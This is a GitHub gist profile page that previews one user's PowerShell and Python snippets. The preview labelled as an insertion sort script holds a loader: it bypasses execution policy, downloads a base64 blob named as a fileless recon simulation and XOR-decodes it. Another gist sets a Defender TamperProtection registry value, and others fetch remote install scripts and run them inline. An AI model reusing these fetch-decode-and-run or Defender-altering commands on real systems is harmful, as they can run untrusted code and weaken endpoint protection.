Skip to content

Instantly share code, notes, and snippets.

View Calvindd2f's full-sized avatar
:electron:
exponential potential

Calvindd2f

:electron:
exponential potential
  • Intuity Technologies
  • ​Ireland
View GitHub Profile
@Calvindd2f
Calvindd2f / InsertionSort.ps1
Last active September 22, 2024 07:10
Sorts an integer array with the insertion sort algorithm.
<#
.SYNOPSIS
Sorts an integer array using the insertion sort algorithm.
.DESCRIPTION
The script implements insertion sort, a comparison-based sorting algorithm.
.PARAMETER ToSort
Specifies the array of integers to be sorted. Example: 8, 3, 2, 9, 5.
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
$base64String = (Invoke-WebRequest -URI https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt -UseBasicParsing).Content;
try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };
$i = 0
$decryptedBytes = @()
$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i]
$i++
if ($i -eq $xor.Length) {$i = 0} }
@Calvindd2f
Calvindd2f / OptimizeAssemblies.ps1
Last active September 20, 2024 13:45
Optimize Assemblies & generate native .NET images for CPU
# generate native .NET images for CPU
function Optimize-Assemblies {
[CmdletBinding()]
param (
[string]$AssemblyFilter = "Microsoft.PowerShell.",
[string]$Activity = "Native Image Installation"
)
try {
# Try to get ngen.exe from the Visual Studio environment
@Calvindd2f
Calvindd2f / collect_wsl_logs.ps1
Created April 1, 2024 05:21
wsl debugging or more like unfucking
#Requires -RunAsAdministrator
[CmdletBinding()]
Param (
$LogProfile = $null,
[switch]$Dump = $false
)
Set-StrictMode -Version Latest
@Calvindd2f
Calvindd2f / pshashfast.ps1
Last active March 17, 2024 15:17
CreatingPowershellHashtable.ps1
ConvertFrom-StringData @'
###PSLOC
Name=Value
Ass=TestX
InspectingModules=Inspecting Modules
DiagnosticSearch=Searching for Diagnostics in {0}
InvokingTest=Invoking tests in {0}
###PSLOC
'@
@Calvindd2f
Calvindd2f / Tamper.md
Created March 7, 2024 12:45
Intuneless
  1. Create a new PowerShell script file named script-ps with the following content:
reg.exe add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 5 /f
  1. Create a new configuration file named TamperProtection.cfg with the following content:
[General]
# Run a separate PowerShell process because the script calls exit, so it will end the current PowerShell session.
&powershell -NoProfile -ExecutionPolicy unrestricted -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; &([scriptblock]::Create((Invoke-WebRequest -UseBasicParsing 'https://dot.net/v1/dotnet-install.ps1'))) #additional args here"
@Calvindd2f
Calvindd2f / ps7akams.ps1
Created March 2, 2024 00:17
Welcome page for powershell - request to install PS7 . Bill gates thought IEX was very smart
"& { $(irm https://aka.ms/install-powershell.ps1) } -UseMSI"
@Calvindd2f
Calvindd2f / ANPR_detection.py
Created February 24, 2024 14:23
This code can be used for legitimate purposes such as improving the accuracy of ANPR systems or developing vision-based transportation applications. This code detects license plates by applying Gaussian blur, edge detection, dilation, and erosion to the input image. It then finds contours in the edge map and filters out the ones that have an asp…
import cv2
# Example code that detects license plates in an image:
# Load the image and convert it to grayscale
image = cv2.imread('license_plate.jpg')
gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
# Apply Gaussian blur to the grayscale image
gray = cv2.GaussianBlur(gray, (5, 5), 0)
# Function to calculate the annual costs of the licenses assigned to a user account
Function Get-LicenseCosts {
[CmdletBinding()]
param (
[array]$Licenses
)
[int]$Costs = 0
foreach ($License in $Licenses) {
$LicenseCost = $PricingHashTable[$License]
if ([float]$LicenseCost) {